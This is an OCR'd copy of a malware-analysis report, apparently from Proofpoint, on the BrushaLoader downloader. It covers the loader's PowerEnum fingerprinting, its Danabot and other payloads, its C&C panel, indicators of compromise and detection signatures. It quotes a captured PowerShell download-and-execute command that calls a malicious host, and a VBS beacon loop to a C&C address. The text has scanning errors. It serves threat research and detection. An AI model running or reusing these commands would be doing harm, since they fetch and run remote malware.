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Overview

Brushal.oader is one of a growing group of downloaders frequently employed by threat actors to profile infected PCs
and then load more robust payloads on devices of interest. Malware like Brushal.oader contributes to the ongoing trend
of “quality over quantity” infections and enables threat actors to better stay under the radar than they can with highly
disruptive infections like ransomware or when distributing massive malicious spam campaigns with high-profile
malware as their primary payload. At the same time, these loaders can also deliver those same disruptive infections if
threat actors choose to load ransomware as secondary payloads, a scenario we have observed on multiple occasions

recently.

Brushal.oader itself first appeared in June 2018 [1]. Now, just over a year later, we have observed the loader in a
number of campaigns by prominent threat actors. We derived the name for this VisualBasic/JavaScript/PowerShell

loader from the “Rusha” author of the command and control (C&C) panel.

Copyright (c) Panel - author Rusha

Figure 1: BrushaLoader C&C panel: "Copyright" section
Analysis

Immediately after executing, BrushaL.oader receives a PowerShell script called "PowerEnum" [5] (Figure 2).

Apache GET 200 HTTRP fees tetofevent.online  /web7/wien phplemail=043f6@%cead 188 Link in malspam (GidensTDS) text/himl; charset=UTF-8
Apache... GET 302 HTTP fees.tetofevent.online  /90B73545678953456 phptemail=043fa@9cead 3 GidensTDS Step 2 text/html; charset=UTF-8
ngin/1... GET 200 HTTPS cytotan.website 559 Zipped-VBS (BrushaLoader) ITA/POL Gecfenced application/octet-stream
nginx/1... POST 200 HTTPS driverupdatefaxas.info  / 18 Brushaloader text/himl
nginx/1.. POST 200 HTTPS driverupdatefaxas.info  / 592 Brushaloader (Sending PowerEnum Task) text/himl
GET 200 HTTPS infosevicues.info  /chkesosod/downs/iZj 1,993 Brushaloader - PowerEnum apgplication/octet-stream; ch..,
nginx/1... POST 200 HTTPS driverupdatefaxas.info  / 394066 Brushaloader (Sending Denabot) text/himl
nginx/1... POST 200 HTTPS driverupdatefaxas.info / 18 Brushaloader 1ext/html
nginx/1... POST 200 HTTPS driverupdatefaxas.info  / 200 Brushaleader (Moving Danabot DLL) text/himl
nginx/1.. POST 200 HTTPS driverupdatefaxas.info  / 18 Brushaloader text/html
nginx/1... POST 200 HTTPS driverupdatefaxas.info  / 428 Brushaloader (Execute Danabot with ) text/html

Figure 2: HTTP portion of BrushaLoader delivery and post-infection activity (PowerEnum activity is not illustrated

here); captured February 7, 2019

PowerEnum performs extensive fingerprinting on infected devices and sends the data back to the C&C. This
communication occurs over a raw TCP "parallel" channel to Brushal.oader. PowerEnum is also used to send tasks,

which were originally stored on Dropbox [2][3], and more recently were hosted on Google Drive [4].PowerEnum is
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integral to Brushal.oader and shares the same C&C infrastructure. Interestingly, we also observed PowerEnum as a
Fallout EK payload delivering Danabot Affid "4" (Figure 3)

Clusters Tags Date

160cxx | Undefined WEIETIN ST RevenueHits | DEU DanaBot | 4 | UndefinedDrop 2019-05-06

Fallout

[&172  nginx GET 302 HTTP bitdesk.online /yKbMSn 0
€3173 nginx GET 200 HTTPS guyspride.com  /Peloruses_embowing/ Sdr/ dishwiperlavadero.asp 5213
@I 174 nginx GET 200 HTTPS guyspride.com /trypaneid-Galanga/01_09_2006/recement.phtml 28,678
@1?5 nginx POST 200 HTTPS guyspride.com  (4TsOn/woly/1995-01-17/8sn.aspx 7,296
[@176  nginx POST 200 HTTPS guyspride.com /591 Po7F/nmi 28,696

guyspride.com  /1955-03-20/1121.j5p?3ZrN=Zombiisms_Fieldie
nginx H guyspride.com /OnVF/Heinesque_recliners_Latten?KCcZ=bursaries-posologic-oligae...
185.203.117.63:443

GET http//guyspride com/OnVE/Heinesgue _recliners_Latten?KCcZ =bursaries-posologic- HTTP/1.1 200 0K
i

oliggemia HTTP/1.1 Server: nginx

User-Agent: sSENB2Za36p61HSKES Date: Thu, 06 Jun 2019 16:31:27 GMT
Host: guyspride.com (Content-Type: application/octet-stream
Connection: Keep-Alive (Content-Length: 104

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Accept-Ranges: none

¥-Cache: MISS from lux-04-08-02
X-Cache-Lookup: MISS from lux-04-08-02:0
Via: 1.1 lux-04-08-02 (squid/3.5.27)
[Connection: close

IEX (New-Object Net.WebClient) DownloadString(https:// analiticap.info:443/ chkesosod/ downs/ sByeHbpyji);

Figure 3: Fallout EK dropping PowerEnum, which has been observed instructing the download of Danabot Affid 4 and
a BackConnect Socks.dll

Payloads

Brushal.oader is strongly connected to the Danabot banking Trojan Affid "3". However, this connection is not

exclusive as we have observed it in conjunction with other malware as well (Figure 4).
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url-to-zipped-vhs Gidens | Brushaloader | Invoice/Order/Receipt
aipan L N brushatoader ivoce Ordervecept LIS pot [ paraso |
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Figure 4: A selection of documented campaigns involving BrushaLoader over the last year
Figure 4 illustrates a number of noteworthy events:

¢ Unusual Payload:
o Ursnif in Italy
o Gootkit in Canada
o Nymaim in Poland
¢ Unusual Spreading:
o TA544 [6], also known as Narwhal Spider [7] on May 14, 2019, in a T-Mobile-themed campaign

The C&C panel

»

Early in its distribution, we observed the Brushal.oader C&C panel and were surprised by the success of a “basic
campaign using compressed-VBS attachments. Despite requiring several user interactions, the actors were able to

ensnare more than 4,000 computers in 36 hours (Figures 5 and 6).
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Figure 5: BrushaLoader C&C panel - Victims a few hours after the beginning of a July 5, 2018 malicious spam

campaign
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Figure 6: BrushaLoader C&C panel - Victims approximately 24 hours after the beginning of a July 5, 2018 campaign
(captured July 6, 2018)
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Figure 7: BrushaLoader C&C panel - Victims approximately 36 hours after the beginning of a July 5, 2018 campaign
(captured July 9, 2018)

DataTables waming: table id=example - Ajax error. For mare information aboutthis errer, please see
hitp-iidatatables.nettn/7

Figure 8: BrushaLoader C&C panel - Commands/Tasks
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Figure 9: BrushaLoader C&C panel - Home
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Figure 10: BrushaLoader C&C panel - The Google Drive link is the payload sent via raw TCP after PowerEnum
fingerprinting
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= 8

— a o @ 107.175.83.148/jsloader/ e @ || Q search

Panel Home jSloader Options
javascript textarea

"you fax pc
dim MyArray, faxurls, httpsd

Function Skip(date)
On Error Resume Next
Call MypcMessage(date)
End Function

Function showPcFaxPc()
On Error Resume Next
While true
dim myfaxpcurls, youfaxpcdate
youfaxpcdate = FormatDateTime(Now, vbLongTime)
myfaxpcurls = "http://107.175.83.148/faxid/328504/" + youfaxpcdate
WScript.Sleep 12000
Call Skip(myfaxpcurls)
Wend
End Function

Copyright (c) Panel - author Rusha

Figure 11: BrushaLoader C&C panel - jSloader configuration
Conclusion

Though one of many downloaders in regular use, Brushal.oader has emerged in connection with numerous secondary
payloads such as DanaBot and prolific actors including TA544. We have observed it in multiple geographies and a
variety of campaigns. Moreover, insights from the command and control panel suggest high infection success rates for
the loader, enabling deployment of a range of payloads by actors using the malware. While loaders fail to garner
headlines like high-profile ransomware attacks, they have emerged as a key element of many threat actors’ toolkits. We

will continue to monitor trends around this malware family and BrushaLoader in particular.
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Indicators of Compromise (I0Cs)

I0C IOC Type Description Date
Ursnif 2018
eb12ece1bb8ebaf888282db3c6c852f3e21397d60b45a694c424690b2d6fe838  sha256 dropped by 0821
Brushal.oader
Canada
focused 2018
bf70c2a22bfb0cc952b29689394e623b632f1c3371f2a6864fd26514639393aa sha256 Gootkit 08 02_
dropped by
Brushal.oader
2019-
a3f00f3b77faed13f24c8d572fe59ac38a2467449a60a1b9dc1c64baeb145b0a sha256 PowerEnum 03.08
2019-
04869bef3007a33e8bf9b14bd650e2b872daa6d2bb2b5ea35d4cb271£35d49e2 sha256 PowerEnum 06.19
Poland
focused 2018
d994£65735bb53dda95f7ab097e59bbd2043f8091d246bc4e21ba55babbda764  sha256 Nymaim 12.97
dropped by )
Brushal.oader
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aced-VBS
ala6886f86ac1080d2fc3d645a8a1223209bfb1e91918d90a99b06d559ccb010  sha256 spread by
TA544

GidensTDS

leading after
fees.tetofevent[.]Jonline|210.16.101[.]169 domain|IP  filtering to

Brushal.oader

download

PowerEnum
analiticap[.]info|185.203.117.63 domain|IP ~ (dropped by
Fallout) C&C

PowerEnum
https[:]//drive.google[.]com:443/uc?id=140k5q46 Y DL8wL1HLmQyuWiOn- URL Task
xRgtHxq&export=download (Danabot

Affid 4)

ET and ETPRO Suricata/Snort Signatures

2832054 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OSVersion. Version)
2832055 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (GetCurrent User)
2832053 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 Get-WmiObject)
2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_ComputerSystem)
2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language)
2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date)

2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_ComputerSystem)
2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language)
2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date)

2833478 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_VideoController)
2832054 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OSVersion. Version)

2832055 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (GetCurrent User)
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2832053 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32 Get-WmiObject)
2833475 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_ComputerSystem)
2833477 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (System Language)
2833476 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (OS Install Date)

2833478 || ETPRO INFO Possible System Enumeration via PowerShell over TCP (Win32_VideoController)

2833472 || ETPRO CURRENT_EVENTS PowerShell Downloader Saving Payload to AppData Inbound Over Raw
TCP

2834482 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 1
2834483 || ETPRO TROJAN PowerEnum Sending Base64 Payload Part 2

2833473 || ETPRO CURRENT_EVENTS PowerShell Loader with Wide Base64 Encoded Stage 2 Inbound Over Raw
TCP

Source: https://www.proofpoint.com/us/threat-insight/post/brushaloader-still-sweeping-victims-one-year-later
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